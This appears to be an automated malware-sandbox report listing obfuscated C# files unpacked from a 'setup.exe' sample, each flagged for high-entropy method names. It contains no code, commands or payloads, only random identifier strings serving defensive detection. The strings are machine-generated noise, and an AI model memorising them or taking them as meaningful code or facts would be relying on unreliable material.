Source: 0.3.setup.exe.579e52d.1.raw.unpack, gS3UujpcMlK6QTsEIu.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'H5THYlYaTPEvDZRRZxj', 'SnVKANYlyUIKrZuBl6K', 'TmBg1KYc1RYdlZY5rV9', 'gbaur2Yi1J3psrppDav', 'xvgCEYY2xv1t1SqWCvM', 'abCDJqYMdR2DmOp8jGw'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, xD54F4OtJDRTCYkyKpS.cs	High entropy of concatenated method names: '_7tu', '_8ge', 'DyU', '_58f', '_254', '_6Q3', '_7f4', 'B3I', '_75k', 'd4G'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, OIUTXQf7jaPD2LMPEbt.cs	High entropy of concatenated method names: '_5u9', 'WJJNpAKAdk', 'xTxJ01sECG', 'wiENrg5c4H', 'obxenF9HcFtWDsmUhCS', 'sTPL3j9u4mT3EAsYJVE', 'RcvksW9mqTg3sSrQQQQ', 'RGrov99O7FBQYuCCLds', 'WMXAC49Kiaoxoa8yEUx', 'iDn4IU9zKIF5eM3L9yn'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, B7NKCxOH2INLjpledVt.cs	High entropy of concatenated method names: 'sy53VDw7Rw', 'TWm31Cq5CI', '_8r1', 'Tny3J9SWI0', 'wNM3bUxrmk', 'h4J3Zppb6V', 'qHI3FT2Tun', 'DUfI7WBJuZXH0nNIMaR', 'KsTahxBPF35PwaU92P5', 'yIGSVoBjHsglbqkdbNu'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, MUBBjG2pPmGctRRscch.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'gyr4nhMtIWXnrpWsyIA', 'zafAZKMwRnKVVWp63sC', 'fdfTCmM9DQrsTBvEvls', 'VTmTdxMEplMya71xE4c', 'Ti89CgM5G85qsRJ8QWc', 'BVvIw8MgJQYAFWlDe3o'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, ieg7YOuZA3JtmsREdZ.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'wtRFElYDDGOL393bBG6', 'CHU0KLYOM31MXXSYPRN', 'TSuCfWYKu2v08jB0L5M', 'PMkQy9YHAnyok6UZPZJ', 'fjMUKXYu7SVexgDh8U8', 'SUmDUMYmEimrkeHZerD'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, LwiLcdhurqJLeBuiFx4.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, qGm6YL2afma0Rl1rhrd.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'GO8gE6i4B9vT26mdvnw', 'U3GgsZiewv0Mi9JIFAh', 'SgFQDcift6kXK4hwMlV', 'M28LGaiRCWNRoESvJKa', 'CADuduiBR5M8oLH0M4w', 'qIfBSGi0yMxAdrHK0Pf'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, GSMEgve2g2g3qugYXG.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'z8lxANYSbNMj7tPIwOi', 'xi0AJeY8nWrwyViGmOK', 'IvWG1VYIWl9f48HSGws', 'GfUpRiYdwnvJL1MOcs0', 'hlah15YAWPx6XXbeGha', 'ykCUfoYyePHd0UU2Rn9'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, caWbon359M7hqIhAuE.cs	High entropy of concatenated method names: 'Y9FDc6GEI', 'JKSUAJBDi', 'SBqAG65aB', 'avQnIkofjkZAhwSkvWC', 'zTdwUco4gNQGt0TbS8n', 'DkfTwboeU2YqJGRUHrW', 'lxWQfioRFE13UKVKF4c', 'AAjutkoBJI8lybxlO3u', 'XcSrDxo09miO9YOBWpl', 'gyi32OoF3lX0aSX3VvV'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, zUgp44m51AF33ZvmWnB.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'fXSt9yuAvc', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, YnB1lvHHAYjoWaBKnr2.cs	High entropy of concatenated method names: 'JhQHoVwJM3', 'IRpHpr4X5J', 'atpHSvY5at', 'dqsH4TtYvj', 'DlCHKKoL8U', 'kcqHe6ILUx', 'p2T7Chvjius467L7Q0c', 'MyJ2cTvbewZ9aTjlLRc', 'YtOG49vJD9djUBNQky3', 'XtnWn4vPTHwirSUkcha'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, CcvMhOmKNuXc8QFYoh3.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, Lvm5Ah2CSumCuLfmEux.cs	High entropy of concatenated method names: 'Mn1HbQvI2Z', 'vELHZM5BuS', 'X213rEMq462sS6U4KJA', 'OKuTjvM247kCXskHbvG', 'uixoNaMMYZCKHT7bbH9', 'D7rB0uMv5CDWhJ3wppW', 'W3cbdmMVrKxb7jsJKAW', 'h8rUl2Mh6Galkk7cJ1U', 'l2xPWQMrtaM2vNfjJEg', 'npbfcDMJuRrRV5nyOeI'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, wmVavrHDYfyol3t1gY2.cs	High entropy of concatenated method names: 'A9mmRVavrY', 'egVRAIPuMQ7svCngeua', 'dCwsSIPm0iVq5qeOfMo', 'C1ugPgPKB4309XEXVva', 'dFyE1WPH0GxxxoPZQCs', 'sZKeLvPzdUywl1rxxFt', 'fJBuQMjnnXuQ0F1MtQY', 'Irkr3XjoWaA7jfwphMe', 'JXFaPoj3j2Z3SJ7cU6s', 'q0G4jEjCnoP8uPqcX14'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, FAr6XKhmD1oKLRXeCoD.cs	High entropy of concatenated method names: 'Yh6ZMGQliT', 'NMjoP3gbe32Qy6pQaxi', 'Oi9r8CgWmg1cmnVOMqS', 'pMYIYSgPAV3givmvEO0', 'u5sT5rgjs5adPqFhbiv', 'nx5JIinATY', 'VkpJdpdf60', 'D1bJGQ455e', 'Mk1JBvSRuj', 'Ja5JDD557p'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, nfrC0Hm1Y1rpRbCDoFB.cs	High entropy of concatenated method names: 'Fv9XqO004y', 'yojXE1oXLR', 'zO7pBS4Dcmi8DxMmkm1', 'afIgII4OBkvBmDH7pOF', 'jixXOc4KZ5FrEw6KqBL', 'xeo3FD4HK62JH6CEPHv', 'bjAf6F4uFWEqsBSoOwx', 'wAukJs4mGjwipH3tSa2', 't8c70t4zEmJJDfriiOd', 'QvlDjLen07B2nmEXPMC'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, wIb4eNhSRoe0WtB7ZJL.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'g4vW85XLwv', 'p8dW6MNxcC', 'r8j', 'LS1', '_55S'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, g7SgTdfptXmNDIKdF00.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'fmsNRI3oMq', '_168', 'FXvNxdEgf7Bofuc6U5I', 'iuHxK7EZiKJfcbwjw8f', 'R3oiZiExePA31ChbnKl', 'LSdiAKEStYgPeBGVpZp', 'J9vvCSE8exVTqvSJvsc'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, uWNwn8OxgKFfaWugQd9.cs	High entropy of concatenated method names: 'D4M', '_4DP', 'HU2', '_4Ke', '_5C9', '_7b1', 'lV5', 'H7p', 'V5L', '_736'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, WM6nFe7HZbt7Bu9EbB.cs	High entropy of concatenated method names: '_468', 'YZ8', '_2M1', 'G9C', 'KMKYiQGj4p7MijJtCch', 'axfbFnGbT7ZBBLZoEeE', 'UUqsf3GWb2vgJcowNTr', 'hJPIMrGUfakl3fUSniC', 'fEfQAuGtcCOjCjrFeol', 'ixWBFpGw84dBGOUQZh9'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, WS0uwGHPKSID9nGMW25.cs	High entropy of concatenated method names: 'kV4YtigPpn', 'SOjBLQbsirMddFZZyu8', 'CZCmI5b76QMCWuAD4Ae', 'sxYQM4bkxEtGGUj6MER', 'OpDsRvbTxkOsB8Y20tj', 'S3bM0cbLl5fZgb0EAVh', 'YdfYsWPKfJ', 'T6CYiLBFe4', 'WdQYq6MvRC', 'eaFYEVwqnQ'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, cL1FMphML8FH9gAReUe.cs	High entropy of concatenated method names: 'cigFhHiyna', 'yX5FmY6iPw', 'z6hFOcDcmn', 'H90nGWZPETZj1ahRNTJ', 'IDBwvmZjxCKir2HCBah', 'MQ0e4QZrdlxnkp3ZvcX', 'IlwN67ZJNP1K3t0uCb2', 'Sgv5j9ZbuGdgkabdVKg', 'XtkYs0ZWiOFZPhhcct6', 'LesspjZU9dn3FMgWnWC'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, rEAPHS2YkdxVgNl3Zd5.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'CVSfjwaOy3l8v9iwZqV', 'XWlwdraKenLjXwyXK2t', 'qQaHEsaHdHEqfDOEcW1', 'Pv5KvWaucCx2sG9FYg0', 'nr4jGCamBkl9M2GakEj', 'LOnImBazWCeMoSYv4Be'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, YG7K1vhXN81FXR7raDR.cs	High entropy of concatenated method names: '_45b', 'ne2', '_115', '_3vY', 'LdDy0hiJMe', '_3il', 'd3xy2T8A32', 'QdLyHBlK9x', '_78N', 'z3K'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, a8FkoskR5YxqbYEcy0.cs	High entropy of concatenated method names: 'v91XiJJvg', 'JYMtbs7fE', 'dGq3W2y1J', 'c54xEGFHU', 'EfLgoLgIW', 'dC0at0ZPg', 'ppLRn9OsN', 'nA6ZfxocNobY7LQ8UnQ', 'aUtUGLoiOPcIN3SDRny', 'cgGFIwo2faKpJib6NbQ'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, FrlOxf2Q5Ee3B0PRl63.cs	High entropy of concatenated method names: 'lX2HiHiEAP', 'U3S1S9qaEXnyfqKngx8', 'xmnkDHql6Q7sRiBO95n', 'j6EXUxqGP4d8ndTBO9I', 'e4ZxjSqY3Zyn2uA770s', 'OndnDWqceyQWeYwucp7', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, LdDhiJOBMef3xT8A32o.cs	High entropy of concatenated method names: 'cxlFAapGXwuTCm4RFI1', 'KPCqUhpYTPSTqqvxAy7', 'XqnFSTp3BOl0Sap62LV', 'WyT8LIpCf1yhJiYaVfm', 'r7NxDYBk52', 'WM4', '_499', 'srAxUei0uR', 'YCxxAuNCFt', 'SCKxNkCFUH'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, GZGTSohsogm9abRVqaT.cs	High entropy of concatenated method names: '_7zt', 'SY1Fip61Cx', 'It9FqU9ELb', 'lheFEPF4CI', 'SmnFc1gl0D', 'AY5Fky8d8d', 'FDTF9SCJ65', 'Ur6KhlZ9XTN9ZrqMZEN', 'GVl26fZEXgOvks7vAwV', 'tXHgGwZt4RYx6mmdV2h'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, f4XqlZ24RyPeC9SdI9L.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'oCgrNCMATqoTOn0Vy7u', 'vGwc0dMyNxAcaCRaY5H', 'hoWFnAM6KgyhqHPP6if', 'ywFLn3MQiGkoKMr6905', 'FDKRrwM4E3KiWjDAxAS', 'Uy28TMMeY3t1pVpb3UG'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, WSDInPmPoYYs0wEYW4l.cs	High entropy of concatenated method names: 'jEytgZtHuO', 'klBtaGyUH5', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'XH4tRJOhZb', '_5f9', 'A6Y'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, Qn6bhMTLLQGkqLG8tC.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'ReEr6uCK2bsSglLxfAh', 'zqIIytCHlEsSJ8wcTDx', 'o44IeyCuysmH2Xb4euq', 'AOE4ehCm9pwZcmqGbui', 'GROGQMCzeWH1cfmbtWU', 'O6VJJiGnBh2bvSktPKe'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, wTgbQN2eRZuIoICe6wv.cs	High entropy of concatenated method names: '_589', 'YZ8', '_491', 'G9C', 'RgTD5DMk9W1SUPQDmbU', 'kyCq6fMsLiGD2JU7tSV', 'H5bkGXMTlVhZBsJG2fT', 'Pih8KVMLN63F82IxIsi', 'IVkVUPMD8VjN9lpk7xe', 'QxBOLwMOIiEX1fJlAMv'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, ua9HTJ2w3JdMVWsmjJs.cs	High entropy of concatenated method names: 'kA3H2JtmsR', 'tdZHHfrKLf', 'fvRHfoufBp', 'X8NsfH2TKZqUq0yr7Tu', 'XWGnLk2LGGqoUdC09Rd', 'R8BKCY2k4lyD4s66jtK', 'kmwgyd2s4gTVHep8pj0', 'D16WJo2DgRF31RVbtE6', 'NNmdMW2O1GWUmGMMG62', 'Xxwgui2KLdcV0UfNYYa'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, BhX9Vk2FqcWQTVEtNC7.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'BZsBNdlxiydWkDMRcTh', 'LJwS3blSZ0GYksE8hMy', 'd1940cl8vnUVXrWuLff', 'nG0cHZlId5w5W0uhkLf', 'xMKf5IldFIrwqtg8Q66', 'kmdgpNlA3naij3JJ4Ah'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, OM62qD2PAfr4lBUuHch.cs	High entropy of concatenated method names: 'VV1HkxL8ed', 'dKLH9kNLwi', 'xJGHXlaGkZ', 'LWa1F7qM2r5ZQBK1yk4', 'b3UOIMqiZZNXRMLisU3', 'L7IT8Aq2OAsA9b3elw3', 'SMrUMgqqCXleKOdNDim', 'Iy99WqqvXyac4eEfBD1', 'wUGslHqV9EJqHvMBs7i', 'nwin6mqhpP2YAguZHrh'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, UdhKLk21NLwiXJGlaGk.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'xojNsIllr4wD0jmucf1', 'JPrb77lcMv3kfA26m0M', 'JDFtSLliae2Um1LDgf8', 'wZyGXXl223ubhLqNfLV', 'WPdFCAlMtHf1kw5VdDA', 'kLIAwwlq4bQwDTNgSgd'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, KxTjwbhFjwfi4dU93UJ.cs	High entropy of concatenated method names: 'cIBZUPaf8D', 'WhmZAcl4QH', 'v5SZNDInPo', 'fYsZL0wEYW', 'SlmZTUb0Tk', 'z9gDfbgmLjvOfhgIpLN', 'nGUy9xgzoKfbk5D3iyZ', 'vhS3tHgHO7mCp30x8nx', 'gvPqdTguRrqL53udtpv', 'h5fgA9ZnR0SYVE94vKZ'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, NpGwSMmxegpU10PEBgm.cs	High entropy of concatenated method names: 'xugXLBaruZ', 'lO8XT0eBDn', 'a6UXwwSmnD', 'bfpXlw9BjO', 'i12XrcEbWO', 't4o6CHeSZVNlt8pa7Mu', 'm71m4heZ3pWsUqFsvo6', 'WAfTQhexl6oZhvUGb7d', 'PumjQ4e8tjoaIthm5fB', 'epDiKHeI7HZLKsRAPsi'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, hEgSX22tLI3XkLEMeQX.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'gd5epbcNZM2TOcxqBfM', 'iv1j00c7QhNFjCGDlis', 'HqGKT6ckutvpLm1blsr', 'ao9enVcsbLM8wLMfTwt', 'Q8jV5ScTa95O93TY0qN', 'S8bCoPcLA3rml2ink4W'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, opk3dpfXGslcX3JTgyZ.cs	High entropy of concatenated method names: 'Wh41GVZlgM', 'vF61B9VkRA', 'TdHrKi9bS50UZQlXfDp', 'a0L62h9Wi4803sd0mD2', 'ut5nUR9PKNxjLmDjdVl', 'Xb9x7p9jjQAyufQoag2', 'j6x4yO9UsSk0v9LwlaI', 'tRUIFu9tuj0aB12lakq'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, KLcRs6f22jTViHkfl2w.cs	High entropy of concatenated method names: 'agjYRY59jV', 'hFXYIRyY2V', 'd1CYdtyanJ', 'UVIYGX6qSJ', 'up3HJDbz3uB4pSuxBgx', 'XEWythbu3iqQuAhJYSm', 'wnvuQXbmH4HZEpiNvK8', 'E5MtaMWng0Er7Ss1Wgl', 'bZOriRWoAlCuvkSW5Aq', 'uBXVc9W3EHDri0N9xPA'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, byE6VChEly8AY9bvE0v.cs	High entropy of concatenated method names: 'OrNFBbgLXF', 'RO4FDXWlLi', 'vWBFU3aNIp', 'jjIFADnbSO', 'ocTFNFXROO', 'Enk9JCZQQ2gKOycmrQY', 'T3fXqQZ4jTqyfcoc1jK', 'Wp3EDeZyODowQIhK80W', 'EvckY5Z6hdSxOD3UF5r', 'mnyCs9ZeTtrDyNONgK4'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, lXpDFxYhc5C26RuGcr.cs	High entropy of concatenated method names: 'RDFyxhc5C', 'PCwDwLypQxkeZ5J8q6', 'Nws8tbd2eW6XnKT8k4', 'fkSJ8wAda39MURoWwi', 'CMxITK6iwQrZYkTHV0', 'UHFeS3Q6SC7LXxfUCT', 'r5uHR8BUL', 'xfrf2RSIX', 'tD1hiwMjb', 'ihdmmvwxA'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, jB5HV522kNGacTen0m6.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'NNoMSoaWBJClAbT7U2x', 'bcV9ouaU7H3EZxLq0ns', 'KRALpqatvb3BqfrfMD6', 'ghrNL2aweMAGSye5lyP', 'wwql0xa91iF9lUB3hof', 'fNO3uxaEyyqn975dfol'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, p7uAljOAZnnj3S24g4A.cs	High entropy of concatenated method names: 'K3QaNJbF72', 'GT8kySpIEwY5Y6NaFfO', 'oQZXVCpdn49mj1n1XcO', 'bl3RyDpS5IulsvTjN4Z', 'fdCyhNp8fv9bNVlDpuk', '_1fi', 'stBg4cRKTW', '_676', 'IG9', 'mdP'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, N50HtghQ1ltYfM0CCbc.cs	High entropy of concatenated method names: 'BBn8tZwmNc', 'v5X8xUc4Km', 'p6B8y75BdW', 'GsZ8WqrTxL', 'jqu88WPugA', 'WP486bemj8', 'oZr8MBUa7w', 'tUI8vktN1W', 'n3o8spfuJb', 'RVa8ioapFx'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, DHo3CuhxI02nG852sHS.cs	High entropy of concatenated method names: 'hyLyBk7nws', 'cwHyDer8sS', 'cZFyUEEVvs', 'eenyAcfdLw', 'JKJyNOJ49t', 'gTuaK3xWEN46YYXAoLd', 'NLGqPBxjjG2By6evC9Y', 'NflNnuxbVCk8Z74Y0AU', 'zpXju8xUU0YWTZlrk2V', 'kCGDFYxtuEuFefHhx8H'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, is6jIifz3o3eEeJQbAR.cs	High entropy of concatenated method names: 'JNwJgwiLcd', 'MqJJaLeBui', 'lx4JRJt8Aj', 'SEl4EP50TXMmBItngPQ', 'zRII2b5FwAA9fiysNsc', 'Rop10G5RDcgwJnlh1w5', 'fR5KZ35BlNCUtrehFpR', 'MHcwvq5pVoaElYU6vtd', 'yQyKBO5XFQDRcpOSJRb', 'UJR5WX51vHMja9qvetm'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, GysY0PfhfoOuSxu3Z5s.cs	High entropy of concatenated method names: 'QKxYljg061', 'xpUYrnpmU3', 'CqpY7I37n5', 'eNXYnBqZf7', 'wYNYCetea3', 'i8qYoU7OaT', 'IZyePAW88ag1iBPVcDt', 'K1QR1KWxPG86wY0j0tU', 'mURvk8WSZGbxB0YapOW', 'XPkUD3WI5RJY2ukQBg2'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, eRnBw92W68bvJKxxL0Q.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'iN6osxlR62GJ5Cokl63', 'BbicMslBdDq7DnORg4Q', 'DkQyw4l0hkoxPAtQHN9', 'N20SvjlFBycq3s2HIDY', 'Q9TeUjlpfxWxYOgYmg0', 'a9KZbXlXWZNMJrh6WmR'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, rIxcOnYb4OALDyY4v5X.cs	High entropy of concatenated method names: 'GhTfPOLLyCuJx', 'LQuQhn1rI5MIVKBXRQm', 'os7lo61JEcMLiO4hyQF', 'MLULMK1Pt0LhJPDtJ7f', 'Rdi9OP1jN4MJ2G0LJr7', 'Nm1aBF1blSBVybij7EQ', 'YC3xbY1VKSjPeT3RV2g', 'qcIYb31hH8BaXGAE9mf', 'rGCQOM1WAa7dv3wSdsZ', 'FQaXFa1UhbFEG9143td'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, A1XuBbmLGyiZelvd4BZ.cs	High entropy of concatenated method names: 'Aby7PsfYpL3NN5O5xI4', 'p8n0xIfaGeqiPjNqf6q', 'pkQdd0fCUZKK9xfZYYa', 'JhgrX4fGlI0g20ZEkEM', 'M3gNOFfl7li4WSqYuoD', 'A25J0vfcDVIMiKrBFg5', 'yWhw0pfiEcdn2TPf9rA'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, i1CvfsOcGWbb8OvGSXC.cs	High entropy of concatenated method names: 'fKw3q7TA4K', 'r7F3EssmDf', 'gwM3cXgZIT', 'Q893kjekvc', 'evd39A8JJP', 'QquDlXBHVPlrIuUu4HS', 'iWCAAPBurMw5s43fYcZ', 'eR4jK4BmvohcV4Jag2o', 'D7MtTpBz4fF0phEMkOb', 'RWJCYs0nBB9dom0e40g'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, x5hrhkCFvJrgr8mBhC.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'RrZxNBGpSdGv1dh5kP7', 'ADNlkZGXhqE6O29Dqe7', 'ISD20BG15pd9urWkgYu', 'f32C4RGNDsFEZARx4Th', 'KT07VfG7VYnj9qQj5SO', 'e3q8uaGkYI0CyokxSH0'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, SNlKKuO7I6cGRHcTtIu.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'yI9R1dFRvW', 'VrXRJ1TlNH', 'SL8RbAm3xZ', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, LLi9WBO93aNIpbjIDnb.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'FtT3X1ZiIF', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, RAuvdIfCNH56e4S16YA.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'v6ZN44xNTV', 'DL5JhHFj6Q', 'FoPNkL9vGC', 'IGnXRPEVNcpoAshPMD5', 'wcnYM7EhElq0IEGkK9a', 'QR79TOErx5AxuGmRwsO', 'xMw8ySEJvIelsqnuIFa', 'dMJN1OEP4ZKvtHGGiT1'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, morTg8mGOLgLdEPjRL3.cs	High entropy of concatenated method names: 'FkmXKfgvVd', 'GrfXeYOc8D', 'JugXjU3Ahu', 'XYLXQOlnlf', 'abNX5Rtq0c', 'ISdXuYoNSc', 'DAq8V7e7WqOrRjmyEak', 'rvRUupe1oKZXPaq4goO', 'TCnHf5eNbFgPX3nlbun', 'PIhc7gekPGt6NHd0VW7'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, cumgRwmfo5GNJYDurL0.cs	High entropy of concatenated method names: 'z6PGWIy9mxaLhFSOpLe', 'AJU3DbyEjNhuNu2bSiP', 'RCiEExyt9embfE7yUWZ', 'Cs04mFywa3TA9hdHP3P', 'O5xqX4w26X', 'ART9o2yZUqGxMrKS63t', 'nJi0YLyxDg2hhgZtDvx', 'UaVGORy5mxvEXjenWY2', 'BRsI30ygaeEyaLNdbja', 'qeObWyySv2llUYNO0X2'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, Y7QYrrfvQ9nD9MeeT1w.cs	High entropy of concatenated method names: 'ecgVKXRosb', 'Yf6VeDGdvh', 'HFeVjfCwWS', 'zGjVQ1TxTj', 'LbjV5wfi4d', 'LomdB4waGni5yjSxtvl', 'YVWI8mwlXAygBCBvgqr', 'ioILTDwGHYq7iney1iL', 'ktIJaMwYCQxK5X5Be4N', 'FZkrTewcn3H97GhYrOT'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, fchL40HkdNs4HmoWVxL.cs	High entropy of concatenated method names: 'zCWhEgvadb', 'tQIhcBKN8N', 'Vx7hkAJaqi', 'Q7Dh9op2iu', 'cVchX6l3A4', 'pTof9cJnIYkVCQAAaVf', 'WkyPaZJo9IJkqrwQhvC', 'TZLmgHrmV0s48LSwR3A', 'pXeWDTrzyvx7LLc0RYy', 'vOcwlWJ3fwNnwsQ13NV'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, G4wpUcHq3aVflZCTVE7.cs	High entropy of concatenated method names: 'V4Qhydfg8r', 'HYuhWcei2s', 'OgIAngr5Dq3TSUu1GQY', 'vroqnqrg8V6YdtZ5Ey1', 'mer1Pyr9ac4R6sP81YV', 'mQkoKarEGABuXNgcCCe', 'zG4fByrZQxOC7v2wF6K', 'DaBV0mrxqMxDE9JM85E', 'CbrEOBrSr19hcKaH1DR', 'EYjSfir87J84ZwNBVmU'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, lJ73jdzlbP3WCG0wTh.cs	High entropy of concatenated method names: 'Y29', 'YZ8', 'jn6', 'G9C', 'TOSwfWaCRs6SAFxy04X', 'kll8YhaGkCGTUfO98LG', 'g9nFKXaYY2roshiHRT1', 'ltHy0SaaM0tOarQMNjI', 'm17EtqalBO1flD9JY8L', 'nDKPUracyScraSV4wOf'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, opJZns2b0jq0qvES7gN.cs	High entropy of concatenated method names: '_6U6', 'YZ8', '_694', 'G9C', 'YqjsVClW2K994myY9rm', 'tcl24blU33JFvc1dFko', 'W8VnWWltMsnPp7kFgr1', 'U7SpEAlweUcnbeNH5u2', 'ptSPwZl97IHqlS5ALRe', 'FyCJ93lEnDVUD7M9cEx'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, PC1p61NualE6Ua4bVr.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'AjTUxkC4Io2Mkuupvtn', 'tUktNCCeaO0wGOyiL8Y', 'oESePxCfmtpnjnWdydM', 'UtKVbvCRE16dLBAlCqs', 'xp8EbYCB5Nqcxh4P5yt', 'SNv9C7C0eoDBnEIq80b'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, Iy5Q1wmjxbv7SlxNC5n.cs	High entropy of concatenated method names: 'o4JthiHYf3', 'Kcptmj317h', 'lcWtOLUP9K', 'yXAtYRMQAG', 'A9otVgJUMx', 'peFt1MO0Uw', 'iFltJ4ojj4', 'MHntbtcHiK', 'c7QtZDcPff', 'vvgtFcV99v'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, TDbBIEfWmjHTBc1emQ6.cs	High entropy of concatenated method names: 'Ih0Vr4V1Qt', 'OlZV7rNQsq', 'OvyVnn7lqn', 'oQXVCOfsGB', 'u7xy1tt6UbqwZ3vGXL2', 'reiF4DtQWpDCjgrs8Jf', 'C8ZqH2t4EEdJlHb7QnN', 'xIm7W6tAPLuQ2qlgx8R', 'UVoSCCtywhlGFwWU9YE', 'dxkPSEteZfTZBqh0KR5'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, xDcHmV2I6oGJrEwQ1Uc.cs	High entropy of concatenated method names: 'X9I2nHDm8f', 'dRl4iE23lkXkDdBa8fu', 'ac13G52CBySvWrOLhkh', 'BCyBHB2nxvlJ0MOCQEP', 'n3FhLg2ocZk8gVKP0h9', 'XSGtD82GBfVY2KcZyRk', 'RBW3SB2YN34IINvpToJ', 'eMe4Mm2a7ruhVoO5AGo', 'Yn12oET0T1', 'Bm0pwm2iDatXG84ApE3'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, MTCy1Fl5USLX19ghGV.cs	High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'ysB7TyGMoGWZQifP561', 'MvWiIlGq7R3Pvrefvu9', 'ODFG2NGvf4aJpYylJ8p', 'u64Ow4GVMDRTgb0aUFT', 'frIAvyGhb4l9SDV6IWj', 'kGbwaLGrDpOP8YaNT7u'
